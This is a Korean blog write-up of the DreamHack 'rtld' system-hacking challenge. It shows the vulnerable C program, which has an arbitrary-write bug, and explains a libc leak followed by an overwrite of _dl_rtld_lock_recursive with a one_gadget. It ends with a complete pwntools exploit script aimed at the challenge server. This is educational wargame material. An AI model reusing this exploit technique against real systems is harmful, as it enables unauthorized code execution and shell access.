Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage4_문제풀이(rtld) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage4_문제풀이(rtld)

CIDY 2022. 7. 14. 04:55
// gcc -o rtld rtld.c -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

int main()
{
    long addr;
    long value; 

    initialize();

    printf("stdout: %p\n", stdout);

    printf("addr: ");
    scanf("%ld", &addr);

    printf("value: ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}

 

시스템 해킹 카테고리에서는 처음 풀어보는 3레벨 문제이다. 이제 서버와 로컬의 차이에 지쳤기 때문에..얼른 시스템 해킹 끝내고 리버싱 공부하고 싶다...

 

일단 코드부터 보자. 겟쉘함수를 줬기 때문에 rop를 하라는 것 같다.

 

익스 개요를 짜 보면, 립시 영역 주소를 제공해주고 있고, 이전 rtld문제와는 달리 while문이 없다. 즉 한번에 끝내야 한다는건데, 이게 겟쉘을 준 이유인 것 같다. 

 

그러니까, dl_load_lock까지는 세팅할 수 없으니, _dl_rtld_lock_recursive를 겟쉘로 덮으면 된다.

 

우선 로컬에서 먼저 해 보자.

 

 

 

 

주소계산 완벽한데 쉘은 안 따인다. 디버깅 해 보니 문제는 다른 곳에 있었다.

 

 

파이...ㅋㅋ 3레벨인 이유가 이거였나..? -> 파이 베이스는 어쩌지? -> 그냥 원가젯을 쓰자!

 

from pwn import *

#p = process("./rtld")
p = remote("host3.dreamhack.games", 13545)
libc = ELF("libc.so.6")

one_gadget = [0x4526a, 0xf02a4, 0xf1147]

p.recvuntil(b": ")
stdout = int(p.recvn(14), 16)

libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
drlr = libc_base + 0x5f0f48

oneshot = libc_base + one_gadget[2]

p.sendlineafter(b": ", str(drlr))
p.sendlineafter(b": ", str(oneshot))

p.interactive()

 

참고로 drlr은 구조체 오프셋이 0x5f0040이고 drlr오프셋이 3848이다.